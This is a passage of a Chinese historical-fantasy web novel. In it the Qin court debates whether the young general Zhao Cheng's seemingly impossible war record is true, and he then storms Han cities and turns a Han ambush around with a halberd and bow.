众村民都是一脸茫然,有些奇怪的看着县令王远。
“县令大人不会是念错了吧,杀了好几千人,咋可能的嘛?”
“中更是什么爵位,咋没听过嘞?”
“十三级,那是十三级爵位,咱们阳城县都没有这样的大老爷,到哪里听说去?”
“哎哟,这功劳大到天上去咯,我当年服兵役的时候,都没听说过这样的猛人,铁子咋能这么猛啊?”
“陛下特赐!前两天张余和我说陛下派人来查铁子,要重用他我还不信嘞,今天一看是真的呀,陛下特赐封爵嘞!”
“天爷哟,陛下都看重他,这下咱们怀阳村要出大官了!”
王远苦笑不得,“没有念错,就是杀了好几千人,还杀了韩城的守将,破了城门。”
他将朱漆木匣打开,将赐爵令帛书放入其中,而后一起交给张余。
“赐爵令,中更爵印,以及名田宅籍,军功副录都在这里,乡啬夫已经到了,由他交割田契,变更户籍即可。”
一旁的乡啬夫已经上前,积极地处理好了相关事宜。
而后带着张余前去丈量土地。
因为八十顷太大了,怀阳村的所有剩余官田都加起来,都没有这么多田,所以把其他好几个村的空余官田都划了出来,量了许久,才立下界碑。
又在赵诚之前的宅子处量了许久,扩张出了一大片宅区。
丈量完了,官奴也分配好了,八十个奴仆与建材一起抵达,张余当即就指挥着奴仆们开始建宅。
之前那二十五个奴仆欲哭无泪。
这宅子眼看都要建好了,结果又扩张至八十区??
没完了嘛这?
没办法,继续建。
张余与舅母又开始了担忧却快乐的监工日子……
……
与此同时,攻克宛城的急传捷报已经传递到了咸阳。
丞相府中,昌平君看着手中的捷报,满脸怒容。
“真是越发肆无忌惮,这编的都没有边了!”
“一戟劈碎青铜城门?一个人追杀五万守军,杀敌近万,吓得其他守军四处奔逃,不战而降??”
他将捷报狠狠扔在了桌子上,“这像话吗?蒙武!你自己看看这像话吗!?”
“整个军报,没有其他人一点纪录,从上到下,都是赵诚孤身克城,说书的都不能这么编!”
“这小子不会是蒙武的私生子吧?”
他深深的怀疑起来,总感觉赵诚此人与蒙武有某种隐秘的关系。
亦或者存在阴暗交易。
越想越是觉得不对,他干脆提着军报,就向着章台宫走去。
而此时章台宫后殿之上,嬴政看着军报,也是陷入了深深的沉默,心中也开始有些动摇。
宛城是天下名都,也是坚城重城。
不论是城墙还是城门,都是厚重无比,大军想要攻破尚且无比艰难,怎会被一戟劈碎?
赵诚更是一人追杀五万人,没有游击,没有突围,也没有用弓箭,只是一味冲杀,甚至吓得五万守军奔逃投降。
这已经不是勇猛可以概括的了。
这战绩实在夸张,他开始怀疑蒙武是不是知道了赵诚与自己的关系,然后故意为赵诚夸大战功?
嘶……
越想越有可能。
当年那件事情,虽然是王翦带人找到了自己,蒙武虽然没有参与,但或许也是知道一些的。
结合赵诚长相与自己相似,蒙武或许是想到了那一点,所以才为赵诚夸大军功?
那之前那些军功,莫非真如昌平君所说,都是蒙武夸大胡编的?
谁给他的胆子!
莫非他以为本王会为赵诚而徇私,无视秦律?
嬴政看着军报,眉头紧皱,片刻后站起身来。
在大殿上踱步几个来回,他突然道,“唤国尉来见寡人。”
一段时间后,国尉尉缭来到大殿之上。
“陛下。”
嬴政将军报递上,“看看这份军报,你曾师承鬼谷,精通剑法,也识得许多能人异士,你觉得这军功为实吗?”
尉缭看着这份军报,深深皱眉,“臣以为,确实有人能够做到这种程度,不过一般都是传承高深,且修炼多年的方士才有可能,此子年方十六,做到这一步实在难以让人相信。”
他说一句,嬴政的眸子就冷漠一分。
“不过……”尉缭思索着,还是说道,“若此子是万年难遇的天纵之才,根骨奇佳,又有无上际遇,或许也能做到这一步。”
嬴政眸间的冷漠又退去了一些,正沉默之间。
昌平君来见。
他气冲冲地拿着军报踏入大殿,行礼之后,立刻就开始斥责蒙武。
“陛下,蒙武实在太放肆了,如此胡编乱造,简直是不将大王放在眼中!”
“攻破宛城,何其艰难,全赖上下军士拼命攻城,结果军报之上,竟无任何其他人的名字,全是赵诚一人军功。”
“一个人,劈碎了城门,一个人,追杀全城五万守军,一个人,吓得守军胆裂投降!”
“何其荒唐!”
“如此独揽军功,秦军上下将士岂不寒心,何人还会用命杀敌?”
“请陛下立刻唤回赵诚,臣以力士试之,若不过关,立刻腰斩,夷三族!”
“蒙武也要重刑治罪!”
嬴政低头不语,面容隐于黑暗之中,看不清楚他的表情。
尉缭也是说道,“陛下,臣以为,丞相说的不错,是非曲直,只要将那赵诚唤回咸阳,一试便知。”
嬴政叹了口气。
也罢,是非曲直,一试便知。
事实若是如此,伪造军情,重罪难赦!
蒙武也好,赵诚也罢,都不得不以重刑杀之,以儆效尤。
“那就……”
正此时,外面传来通报声音。
“郎中令自宛城归来复命,求见陛下!”
第58章 阳翟克复,赵诚军报!
“郎中令自宛城归来复命,求见陛下!”
昌平君和尉缭对视一眼,都不知道郎中令怎么去了宛城。
嬴政则是大手一挥,“让他进来。”
说着,他又看向国尉和昌平君。
“日前捷报频传,军报之上,赵诚战绩赫赫,于是寡人便派郎中令去宛城传令,若是能够速下宛城,即日命赵诚攻破新郑,灭韩以恐他国!”
“如今正好郎中令归来复命,情况如何,先问一问他便是。”
郎中令已经大步走入大殿,对着嬴政行礼之后,立刻贺喜道,“恭喜大王!得天赐神将!”
嬴政眉头一挑,打量了郎中令几眼,见其喜色不似作伪,心中不由得又轻松了一些。
他施施然坐回到了王位之上,“此去宛城,情况如何?又有何可喜之处,说来听听。”
郎中令看了看丞相和国尉,似乎也察觉到了宫殿之中的古怪气氛。
于是想了想,谨慎如实说道,“宛城大胜!臣为传陛下军令,昼夜不停,四日便达。”
“然而,我抵达宛城的时候,宛城上上下下井然有序,全军上下神采飞扬,并无惨烈战事之后的景象。”
“臣疑惑,故询问蒙武将军。”
“蒙武将军回复臣,此战全军上下,未废一兵一卒。
全赖前将军赵诚一人破城,其斩云梦泽方士于城下,又一戟劈碎城门,杀入城中,如入无人之境。
五万守军被其一人冲杀的狼狈窜逃,可谓是闻风丧胆,仅仅看到赵诚将军靠近,便吓得六神无主……”
一旁的昌平君有点听不下去了,怒斥道,“荒唐!”
“这种混账话,你竟然也信!?”
尉缭皱眉思忖,也觉得很是难以相信,正因为他了解方士修炼的艰难,所以才更清楚这种战绩的含金量。
无论怎么想,都不可能是一个十六岁少年可以做到的事情。
更何况,这个少年并不具有什么隐世传承。
于是他也表态,“确实有些难以置信。”
郎中令笑了笑,“臣自然也是不信的。”
此话一出,两人神色稍霁,嬴政也是静静看着他。
却听郎中令又说道,“如此战绩,实在太过玄奇,莫说是臣,就算是大字不识一个的农夫,也不会相信这是真实发生的事情。”
“所以,臣后来于暗中探查,私访将士。”
“这一查,却让臣心惊肉跳。”
几人同时目光一凝,郎中令瞬间压力山大,不敢再卖关子。
“臣首先查的,是那云梦泽的方士云羽。
当时此人正关押在宛城地牢之中,其左臂齐根而断,但如此伤势,短短几日之间,竟已经痊愈,长出了新肉。”
“而且此人当日在宛城城头之上跳下,近十丈高的距离,飘飘然落地。
此事不论是我军,还是韩军俘虏,都曾亲眼见证,军中多有传闻,多面印证,细节对应,做不得假。”
“臣继续查,得知此人传承于云梦泽的隐士云梦子,为其门下三弟子,自幼天赋绝佳,潜心修炼三十余年。
因其被赵诚轻松击败,心灰意冷,但蒙将军慎重,依然以铁链将其牢牢束缚。”
“当夜,那铁链就已经被其绷断,好在那方士并未越狱,依然在狱中浑浑噩噩。”
“赵诚轻松击败如此奇人,更是将其败得心灰意冷,当为佐证其一,不知陛下和两位大人,如何看待?”
嬴政眼中有着惊奇之色,看向尉缭。
尉缭则是说道,“云梦子我亦有所耳闻,此人确实是不出世的隐士大能,百余年前就听说过他在云梦泽的踪迹。”
“听说他收弟子的条件很是苛刻,这叫云羽的方士,实力应是不俗,赵诚能轻松击败此人,恐怕真是不世出的天纵英才。”
昌平君轻哼一声,“哼,云梦泽的方士怎么会突然出现在宛城?”
“而且,就算他真是云梦泽的方士,或许有些奇技淫巧,但实力又如何能够与大军相比,赵诚击败此人,不能说明他这荒唐军功就是真的!”
郎中令不疾不徐继续说道,“确实如此,所以我继续暗访将士。”
“但我军将士,没有任何一个人对赵诚这一战的军功有丝毫异议。
甚至还有许多将士,因为当时处于军阵后方,没有看到赵诚一戟攻破城门,言语之间对此感到极为遗憾。”
“而且,全军上下,无一不对赵诚崇敬非常,几近狂热。”
“除此之外,我又亲自去看了之前破损的青铜城门,那城门断口平滑,自左上至右下,一力断之,贯彻始终,不论是攻城车还是其它东西,都不可能造成如此痕迹。”
“由此可见,赵诚将军确实身怀不可思议之神力,连青铜城门都挡不住他一戟之威。”
“至此,臣已经对蒙将军的话,相信了八成。”
别说他了,此时尉缭光是听着,也已经相信了八成。
他眼神之中闪烁着激动的光彩,“此人当真是不世出的天纵英才,天赐如此神武猛将,实为大秦之利刃。”
一旁的嬴政更是浑然放松地后靠在了王位之上,静静听着,眼角眉梢隐有轻松笑意,又将之前扔在案台上面的军功拿起来翻看着。
昌平君不再说话,只是眉头依然微微皱着,不知道在想些什么。
而郎中令继续说道,“臣要禀明陛下,这些佐证,自然不够。”
“于是臣又去韩军俘虏之中,探其口风。”
“这些韩军俘虏作为敌军,自然不可能为赵将军作伪证,而且,臣伪作宛城百姓看望他们,他们也没有必要对臣说什么假话。”
“但臣一提起赵诚之名,这些俘虏顿时面露惊恐,有人更是想起当日景象就立刻脸色苍白,两股战战,如此反应,可见当日赵诚将军杀伐之烈,一人追杀五万守军,不是作伪。”
嬴政如今已经完全消去了疑心,再看那惊世战功,也是不由得神采飞扬。
“既然不是军功作伪,寡人让你传递的军令可传到了?赵诚是何反应?”
郎中令回忆了一下,说道,“很平静。”
“他说,回大王话,臣破韩都,旬日必归。”
嬴政嘴角流露出微笑,而后笑意越来越大。
“旬日必归,好一个旬日必归!”
“宛城至新郑,翻山越岭,途中多处重城把守,他如何旬日破韩?”
“莫非只是一句玩笑话,说来哄寡人的?”
尉缭也有些疑惑,看向郎中令。
昌平君更是斜睨冷笑。
郎中令说道,“他领命之后,立刻点兵,只点了八千轻骑,不带辎重,打算急行八百里,以战养战,直插韩都。”
此话一出,三人都是一惊。
如此剑走偏锋,确实能够做到旬日破韩,但其中凶险也是极大。
“真是急功近利!”昌平君冷笑起来。
“如今南阳已下,只要稳扎稳打,破韩已经是十拿九稳,他却如此着急,若是深入敌后被地方重军包围,不光是他要死,就连他带走的八千骑兵也要折损。”
尉缭却是说道,“此举风险确实极大,但是不要忘了,赵诚神武异常,有孤身破城之能,如此战术,或许反倒适合他。”
昌平君说道,“八千骑兵人吃马嚼,每日都需要粮草无数,若是敌城被破之际,直接烧了粮草,没有物资支援,饿也能饿死八千兵马。”
“不出几日,全军饥乏,还如何破韩?”
尉缭也是沉默了一瞬,认同道,“韩若是以坚壁清野之策,破坏沿途农田与粮仓,迁走民众,赵诚不带辎重补给的情况下,确实难办。”
“到底还是太年轻,没有什么经验,突然堪此大任,恐怕多少有些急功近利的心态。”
嬴政闻言,也是微微皱眉,心中反思自己是否有些拔苗助长……
正这时,殿外传来细碎的脚步声。
谒者令捧着一份军报,碎步踏入大殿,在众人目光凝视之下,行礼报道。
“报——”
“阳翟克复,赵诚军报!”
第59章 吾来,吾见,吾破之。
“报——”
“阳翟克复,赵诚军报!”
报捷的声音回荡在大殿之上,绕梁不绝,众人脸色齐齐一变。
郎中令面露惊叹。
昌平君骤现愕然。
尉缭喜笑颜开。
嬴政眉峰扬起,长眸电射亮芒!
“彩!”
嬴政坐直身体,背脊如剑,双眸如电,“呈来!”
太仆赵高上前,将军报拿了回来,呈递给嬴政。
嬴政打开军报,脸色顿时变得有些古怪。
无他,这内容太过简练。
“大将赵诚率八千轻骑,越嵩山余脉,于颍河上游见阳翟,率兵破之,斩敌三万,守卒头颅叠于城门之下,取粮而出,急袭襄城。
军功数目:赵诚斩级六千三百七十二级……”
快,极致的快。
即使是在这军报之上,嬴政也能看到那利落至极的军风。
吾来,吾见,吾破之。
他甚至不打算留守一点兵力镇守阳翟,直接把守卒全都杀了,以免被偷了背后。
而后大军吃顿饭,就直奔下一座城池。
不管不顾,就是冲!
嬴政又看了看,没有一点多余信息,于是又放下了。
“相国,去拟赐爵令吧。”
“这……”昌平君甚至都没看到那份军报,而嬴政也没有给他看的意思。
尉缭则是笑道,“这军报与郎中令前后脚到,可见赵诚攻破阳翟之快。”
“恐怕郎中令还在回程路上,赵诚已经攻破了阳翟。”
“阳翟作为韩的旧都,扼守颍河上游,控制着南阳至新郑的陆路交通,是抵御我军的前哨之地,也算是一处军事重地。”
“赵诚势如破竹灭此城,便再无后顾之忧,进可攻,退可守,其战法风格真如其人一般,利落锋锐,见血封喉……”
昌平君见没人搭理自己,干脆直接问道,“陛下,该赐何爵?”
嬴政说道,“叶县城下斩项佗,灭楚援,又夜袭犨城,大破宛城,可封右更,食两千户。”
是的,不需要算这一次的攻破阳翟,已经算是战略级的开疆拓土,足以封爵右更了。
当然,嬴政也可以等赵诚旬日灭韩之后,连同灭国之功一起,直接封其大良造!
但一看到这昌平君站在殿下斜睨冷笑,好像没有什么事情可干,嬴政就想找点事情给他干。
“此功封右更,可有异议?”
昌平君欲言又止,照赵诚这个势头,用不了多久恐怕真就灭韩了,到时候直接封少上造得了。
但嬴政不说,他也不敢提。
于是只好郁闷的说道,“没有异议,此功封右更,绰绰有余。”
“那就去吧,利落一点。”
“是,陛下。”昌平君行礼之后,退出大殿,直接回到相府。
等看到赵诚的军报,再想到自己在大殿之上信誓旦旦说赵诚会受困于粮草,不由得有些恼羞成怒。
“该死!阳翟怎么可以破得这么快?”
“这些韩人脑子都被狗吃了吗?”
“他不带粮草,破城之际还不把粮草给他烧了,留着给他吃作甚?”
“真是活该灭国!”
多次在赵诚的事上面丢了脸面,还得亲自给他拟赐爵令,昌平君感觉一口郁郁之气横在胸口,始终吐不出来。
不过一想到大王并没有取消八百力士测试之约,他心里就又好受了一点。
可是又想到赵诚那家伙真的可以一戟劈开城门,一人灭一城的恐怖武力值,他的心又提了起来。
于是再次唤来酒鬼门客,问道,“青铜城门,能破之否?”
门客喝了口酒,哈哈一笑,“小小城门,随手可破。”
昌平君又问道,“五万守军重城,可孤身灭之乎?”
门客又喝了口酒,脸色更红了,“十万守军,亦可灭之!”
昌平君笑了,“赏酒!”
门客拿着酒,美滋滋地走了。
昌平君得了对方的话,也美滋滋地去拟赐爵令了。
他倒也不是盲目相信这酒鬼,而是对方确实有真材实料,他曾多次试探测试,对方都能够轻松应对。
无论多么苛刻的条件,多邪门的攻击,这酒鬼都能轻描淡写解决。
要不是这酒鬼好酒,他还真没法将其邀请到府中作为自己的门客。
……
韩境之内。
赵诚率八千骑兵,穿越嵩山余脉,沿颍水北上,一路疾驰,襄城已经是遥遥在望。
如今他手中兵器,已经换做了十万寿命锻就的神兵——方天画戟。
这大戟一丈二尺,三锋两刃,遍覆星芒云纹,日光照耀之下,那是金辉流转。
又有环系雪练流苏,芯贯镔铁龙骨,外刻千层叠浪,尾吞黑金虎首。
握在手中,挥如天柱。
再配上他那将军大铠,端的是神威盖世!
最重要的是,这神兵可完美承载赵诚体内的真元之力,甚至有加持之能。
赵诚之前挥舞宝戟,真元罡风不过几尺。
如今换做方天画戟,真元罡风已有丈余。
他自信现在不要说是城门,就算是城墙,他也能几下劈翻!
此时身后那些将士紧跟前面那道身影,亡命奔袭,一个个如同一群野狼一般,看见敌军城池就双眼冒出绿光来。
别说在阳翟补充了物资,就算现在已经饿了三天,他们也是浑身都是力气。
只要是能跟着将军建功杀敌。
饭?可以不吃!
襄城之内,守将拿着刚刚抵达不超过一个时辰的急报,面色涨红。
“八千轻骑疾袭,连辎重都没带,到底是怎么破掉阳翟的?”
“你阳翟面对如此轻骑,不说支撑一天,半天总能支撑的到吧?”
“结果两个时辰就被攻克了,三万守军全军覆没……”
“尸首堆叠在城门口形成小山,这是要吓唬我啊!”
“你当我刘若是吓大的吗?”
“不带辎重,好,你敢不带粮草,想要以战养战是吧,来人,给我把城中粮草聚集到城下大营,城门一破,立刻把粮草全都给我烧了!”
他放下急报嘿嘿冷笑,脸上露出疯狂的狰狞来。
“就算你有点本事,能破我襄城,也休想从我这里拿到一丝一毫的补给!”
正冷笑着,城墙方向突然传来一声巨响。
轰!
地面都跟着颤了三颤。
守将刘若大惊失色,腾的一下站起身来,“怎么回事!地龙翻身了吗?”
有守卒惊慌失措地匆匆跑来,“将军!!将军!”
“城破了!!”
“敌军杀进来了!!”
刘若眼睛一瞪,好似一对铜铃,“什么!?”
“怎么破的?刚才不是还好好的?”
那守卒已经吓得语无伦次,“有……有个人,他拿着大戟……一下把西城墙劈了个大洞出来!”
“沃耶!?”刘若根本不相信,刚刚奔出城头,向着那边望去,就又有守卒奔逃过来急报。
“报!!将军,粮草被对方的人给占了!”
刘若此时刚刚看到西城墙上面那个大洞,就听闻如此噩耗,当下就是眼前一黑。
这特么是人能干出来的事!?
难不成我襄城被对方提前布置了间子,查出来了西城墙有些地方年久失修?
不可能啊,就算年久失修,怎么会一下子就给打爆了。
就算他娘的襄城的城墙没有宛城那么厚吧,那也是城墙啊!
你一戟就给劈开了,我们还守个什么?
这场面实在是万年难遇,整个襄城的守军都看傻了眼,根本不知道该如何防守,只能看着赵诚带着八千轻骑鱼贯而入。
等他们反应过来的时候,城中好几处大营都已经被对方砍翻了。
而重中之重的粮草,更是已经被对方完全占据,并且以粮草为中心,四面杀戮。
其中那个手持大戟的少年将军更是吓人,大戟一挥,面前三丈方圆都要为之一空。
所过之处,但凡有挡着的,全都是一分为二。
神挡杀神,佛挡杀佛。
就算是一个大石柱子挡在路上,也难逃两断的命运。
亭楼就更不用说了,在那家伙面前,就像是纸糊的一样,一扫而塌。
一整只骑兵队伍,此时完全化作了一柄利剑,在城中四处切入,冲杀到哪里,哪里就是死伤一片!
短短一刻钟不到,许多士兵已经是肝胆俱裂,完全没有了斗志,开始有人向着城外溃逃。
原本死守的城门,现在成了紧急逃生通道。
之前搬来堵住城门的重物,现在成了堵死生路的催命符,守卒们在求生欲的驱使下,爆发了无边潜力,众人合力,终于将城门后面的重物全都搬开了。
冲出城去,迎面就遭遇对方早已经等待在门口的伏兵。
完全没了斗志的守卒顿时被冲杀了个人仰马翻。
这一下,跑是跑不出去了,又一哄而散地向着城中逃回去。
四方城门都是如此,襄城一下成了瓮中捉鳖。
四方轻骑合拢围杀,赵诚独自率领一部兵马在城中乱杀。
守将刘若声嘶力竭地喊着让人强行把粮草烧了,也是没有任何人能够听得进去了,全都当做了耳旁风。
没办法,他命人立刻传急报到新郑,而后自己冲下城头,向着粮草冲去。
没有意外的,还没跑出两步,就被赵诚一箭封喉。
这家伙不是蒙武那样的鬼精老登,守将的铠甲实在好辨认,刚刚下来就被赵诚看见了,直接就给杀了。
有了八千轻骑的辅助,赵诚杀敌的效率大大提升。
若是没有这八千轻骑,城中守军跑得到处都是,四个城门都往外跑就算了,城墙上还有拽着绳索往下跳的。
这些人钻进了山林,分散开来,别说杀光,就算想要杀掉三人之一,都要追杀许久,废九牛二虎之力。
等到赵诚走了,他们可能还会回来重新占领城池。
哪里像现在,有八千轻骑先封锁住各处城门,而后在城中围杀敌军,轻而易举将敌军聚集在一起,然后集中斩杀。
这样一来,不但杀得快,而且杀得全,不会有什么漏网之鱼在后方搞风搞雨。
彻底歼灭了后方的敌军有生力量,同时还能做到恐吓敌军,削弱敌军士气。
最重要的是,夺取寿命的效率达到了极致。
至于杀敌太多有伤天和?
开玩笑,谁怕有伤天和?
一个时辰之后,城中守卒全军覆没,城外也是尸横遍野,赵诚依旧命人斩了头颅,堆叠于城门之下。
此情此景,吓的满城百姓胆战心惊,惊呼血屠阎罗。
赵诚不以为意,把粮仓之中的粮食取出,分出自己一部的粮草之后,将其余的所有粮食全都扔在了城中,分给了百姓。
百姓们胆战心惊,根本不敢去拿。
赵诚也无所谓,与部下吃饱了饭,喂好了马,验传军功,再备上几日的粮食。
又是奔出城去,直奔韩都方向。
城中百姓见其走了,争相抢粮,“血屠阎罗”又变成了“青天老爷”“救难天兵”“秦国神将”……
赵诚一部一口气奔出数十里,已经看见了远处的小城长社。
这城威胁不大,赵诚看也不看一眼,依旧直奔韩都方向。
然而奔出没多远,刚入一片山林狭路,道路突然大片塌陷,赵诚胯下之马前蹄陷落!
他不慌不忙,强行跃马而起,翻越深坑,前方却还有深坑。
赵诚不得已翻身下马,单手发力举起大黑马,拧腰就抡了出去。
同时一把揪住了快要跌下深坑的蒙恬,又大声喝道:
“有埋伏!”
“分流两侧,箭射野林!”
第60章 想当螳螂捕蝉,且看谁是黄雀?
因为急行军速度太快,即使赵诚瞬间下令,还是不可避免地有许多突骑陷落深坑,一时间前方人仰马翻。
当此之时,两侧喊杀声大作,更有箭落如雨!
好在突骑营各个身经百战,令行禁止。
在赵诚下令的瞬间,已是及时反应,分流两侧,避开道路上面的深坑,对着两侧野林开弓射箭还击。
但对方身处野林之中,有树木遮挡。
无数箭矢都射到了野林的树干之上。
骑兵们又是突然遇袭,反击仓促,一时间伤亡不小,反击效果甚微。
赵诚气坏了,我懒得打你们,你们还敢主动过来找死。
“杀进去!”
他脚下一蹬,手持大戟激射而出,整个人如同一道离弦之箭,飞跃冲入野林之中。
敌军将领一看,差点笑出声来。
“野林之中,竟敢使用大戟这等兵器,我且看你如何施展得开?”
然而下一刻,他便笑不出来了。
只见赵诚大戟一挥,连人带树,全部劈开!
这野林之中的各种树木,竟然丝毫无法阻挡其大戟的挥舞。
就算是三人合抱的大树,也是一戟两断。
树木成片成片倒塌,大树轰隆隆不断砸下,竟将敌军碾压砸死无数。
还他娘的能这样打?
敌方将领惊呆了,“当真神武至此!?”
急报上面传来的消息不是作假,这家伙真不能以普通猛将来看待!
“杀!将军冲进去了,咱们也杀进去!”
“不开眼的东西,也不看看你们埋伏的是谁!?”
“找死!”
与此同时,那突骑营也是如同一群野狼一般强冲至野林之中,完全无惧伤亡,嗷嗷叫着就是疯狂冲杀。
如此士气,如此疯狂,哪里像是被埋伏的军队,反倒像是他们把韩军给埋伏了。
再加上赵诚的可怕表现,一时间敌军心惊胆战,被打得节节败退。
“该死!怎么这么猛?”
“不是咱们埋伏的他们吗?他们怎么这样打?”
“这些人不怕死的啊!”
“挡不住了,快撤!”
另一侧野林之中的埋伏敌军察觉到不对劲,立刻冲出密林,想要来这一边支援,与左边一部夹击赵诚一部。
却被提前埋伏在密林之中的蒙恬,率兵反打了一手伏击。
一时间,两边同时大乱。
敌军大有溃兵之势,一刻钟不到,便再也支撑不住,想要向着林子深处撤去。
“想跑?”
赵诚哪里肯放他们走,率兵衔尾追杀。
然而敌军只顾溃逃,越逃越深。
而赵诚追杀太快,阵型逐渐散乱,前方突骑营与后方轻骑营逐渐脱离。
蒙恬见状连忙追上赵诚,“不对劲,对方可能还有埋伏,打算引诱我们进入埋伏圈。”
赵诚点了点头,“我知道,对方想要诱敌入瓮,而我则要引蛇出洞,他想要当螳螂捕蝉,且看谁是黄雀?”
“你落到后面统领其他的队伍,一会见机行事。”
见赵诚早有预料,蒙恬也就放心下来,落到后方,整理着轻骑队伍。
而赵诚则像是上了头似的,带着突骑营之中的两千精锐,始终追杀前方一部韩军,誓要将其全部斩杀。
而前方的韩军统领则是不时回头远远看着赵诚,确认赵诚还在没头没脑的追杀,不由得笑了起来。
“嘿,果真是个莽夫,有勇无谋。”
“将军真是料事如神,断定此人急功近利,帅是在此地安排伏杀,又拿准了我方就算是埋伏,也无法敌得过对方,正好以此将计就计,使出诱敌之策。”
“通过快速逃离,再加上密林阻隔,将对方阵型拉扯散乱,再以大军包抄,辅以机关落石,将敌方大将围杀在此!”
“真是妙极!”
眼看距离伏兵圈越来越近,这统领也是越发放松了下来。
只要再往前一点,就会进入峡谷,到时候大军居高临下,那敌方猛将就算是天生神力,只要他没有长出翅膀能飞起来,就没法打得到峡谷上方埋伏的兵马。
到时候落石以及各种机关一砸,还不全军覆没?
正如此想着,余光之中却突然看到赵诚开弓搭箭。
统领有点疑惑,这个距离,这个奔逃速度,中间还有那么多的遮掩物,他开弓能射得到谁?
这个念头还没有散去。
一支利箭已经离弦而出,咻的一声发出尖锐呼啸,瞬间穿梭过密林,避开重重掩体,与无数士兵的脑袋擦边而过,穿隙而出,直逼统领咽喉!
嗤!
箭矢穿透咽喉而入,直接没入一半,带出一蓬血花。
统领双眸骤然瞪大,失神而不敢置信的挪动眼珠,向下看去,却只看到自己脖颈上面一道箭尾。
呼吸困难之际,死亡的气息如同潮水一般笼罩了他。
不可能!
这不可能!
密林之中那么多掩体,双方还在快速移动,更有许多士兵格挡在中间,他怎么可以穿过这么多阻碍,射中自己?
统领眼前阵阵发黑,无边无际的不甘心将其笼罩。
再有五里,就进入伏兵峡谷了……
怎么可以死在这里?
他强撑着向前踉跄了两步,最终还是眼前一黑,倒地身亡。
统领一死,数千士兵亡魂皆冒,跑得更快了。
但突骑营精锐极为擅长野战,衔尾追杀,一直在后方蚕食着他们。
更有赵诚奔如虎豹,早已从后方冲杀入阵,孤身拦截在逃兵最前,一人当关,彻底断了所有人的生路。
众士兵也再也无法执行统领的命令,开始向着野林之中分散逃去。
远处峡谷之上,韩军将领遥望密林,静静等待。
这么久的时间过去,手下统领依然没有将人引来,让他不免有些焦灼。
他率领兵马早早等候在这里,布置好了落石滚木,以及诸多弩机。
只等赵诚一部踏入峡谷,立刻推下无边落石,到时候就算是赵诚武力超群,那也是插翅难飞。
人力如何挡得住天威?
然而左等右等,也没有等到人来。
韩将越发焦灼,突然眼睛一凝,看到远处密林之中有人影蹿动,顿时激动起来。
“准备好!随时准备推下落石,将敌军封死在峡谷之中。”
一时间全军待发。
每八个材官一组,前方堆放着巨大的滚石。
他们全身绷紧,只等一声令下,就齐齐发力将滚石推下峡谷。
可是远处野林之中那些身影蹿动之间,却根本不往这边来。
倒是不时有血光乍现,一片混乱之间,终于有人蹿出了密林。
那是己方的士卒,拼命窜逃中,被一箭射中了后心,扑倒在地。
而后又有不少韩军逃窜出来,但都是每跑出多远,就接连被对方射杀。
很快,那些引敌入瓮的韩军就开始溃散,不再向着峡谷这边逃窜,而是四面八方溃逃。
韩将见状怅然叹息,知道事不可为,打算带军离开这里。
但就在这个时候,一小股韩军从其它方向溃逃中,又拐了个弯,跑向峡谷之内。
同时,后方也有一名青年将领衔尾追杀。
韩将眼睛一亮。
认定这就是那个血屠阎罗!
于是他又不走了,“准备落石!”
那小股韩军向前狂奔,后方紧追不舍,却在快要进入峡谷的时候,双方同时停下。
轰隆隆!
巨石不断滚落,沿途砸落碎石无数,峡谷之中地动山摇,声音震响如雷,真如天威一般。
但很可惜,敌军根本就没有进入峡谷。
这些巨石全都落了一个空!
韩将脸色一变,察觉到不对劲,可惜为时已晚,身后已经传来重重马蹄声急响如雷!
赵诚的黑面大旗正迎风猎猎而来,长戟大铠的身影弥漫着霸烈煞气,正亲率一队骑兵飞快接近。
韩将心头一凉。
竟有一部精锐,不知何时已经绕行峡谷,摸到了他们身后!
长戟大铠,这人与急报之中,让无数韩军闻风丧胆的煞星形象无异!
那下面那个将领又是何人!?
韩将一时间感觉脑子都在变得混乱。
但此时来不及多想,后方就是崖口,他这一部兵马退无可退,只有一战而已!
“全军听令!随本将……”
他刚刚大喝出声,命令还没下完。
远处的赵诚已然开弓搭箭,直接锁定了他!
咻!
利箭划过长空,噗嗤一声射穿韩将的咽喉,韩将的命令全都被这一箭封死,发出的声音也变成了咕噜咕噜的血泡声。
他徒劳地捂着喉咙,踉跄退后了几步,身子一晃,就向后倒去,直接摔落悬崖。
崖口上面的所有韩军将士正浑身紧绷听令呢,一双双目光注视着主将。
结果命令刚听到一半,咻的一声,主将突然被一箭封喉了。
这一箭实在太突然,太炸裂,太措手不及。
以至于没有任何一个人反应过来,全都在惊恐中,眼睁睁看着主将被一箭封喉掉落悬崖。
不是,你倒是把命令下完啊!
这命令下一半,人没了?
那我们该干什么?
“将军!”
“这……卑鄙!”
“仗还没打呢,将军人没了!”
“这咋办?”
“没事,还有副将!”
副将后退几步,躲在人群之中,高呼,“听我号令!”
咻!
利箭瞬间穿过人群,精准地没入他的咽喉。
噗嗤一声,血花炸开的同时,副将也掉下悬崖,噗噗几声滚落下去,摔得死无全尸。
韩军阵中鸦雀无声,人人胆寒。
这特么的,这是索命来了!
果然有起错的名字,没有起错的外号,这特么血屠阎罗,果真是个索命的屠子!
“咋……咋办?”
“没事,我们还有校尉大人!”
第61章 神弓射雕,煞名惊韩都!
校尉硬着头皮,直接躲在了士兵身后,头也不露地喊着,“准备弩……”
咻!
嗤嗤嗤!
又是一箭,势大力沉,直接穿透了三个人,连同校尉前方后方的士兵一同贯穿,而后巨大的力量,直接将三人带飞,直接射下崖口。
麻了!
韩军一个个全都目瞪口呆。
这特么怎么打?
指挥官冒头就秒。
眼看着对方越来越近,他们已经能够看到那血屠阎罗杀气四溢的眸子,不由得胆战心惊。
“咋办!咋办啊!?”
“还有一个韩校尉呢!”
“韩校尉……韩校尉跑了!”
“跑啊!”
韩军最后的军官选择跑路,其他的韩军顿时也不敢撄锋,阵型大乱之下,开始四散溃逃。
可是崖口就这么大的地方,后面就是悬崖,前面就是骑兵围堵。
“往哪跑,投降吧!”
“投降也死,你难道没有听说过那屠子的称号吗?”
“上弩机射他们!”
终于有韩军反应过来,打算远程弩箭压制。
可惜时机已经太晚了,若是将领下令的时候,他们弩箭压制或许还来得及杀伤赵诚一部。
但是现在,却已经晚了。
赵诚一部冲阵速度太快,已经冲到了近前,当先以弓箭射杀弩机后方的韩军。
短短时间内,已经射杀一片。
同时,收起弓箭,短兵相接。
诸多韩军心生绝望,有人奋起余勇,想着反正都是一死,不如和对方拼了,于是冲上前去,被赵诚一戟斩杀。
有人心灰意冷,想着反正都是一死,不如自己了断,于是想着后方的崖口跳去,追随他们的将军去了。
赵诚一见,连忙高呼,“投降免死!”
众多准备自杀的韩军顿时看见了希望,心说这屠子总算良心发现。
于是不再自杀,转而去阵前投降。
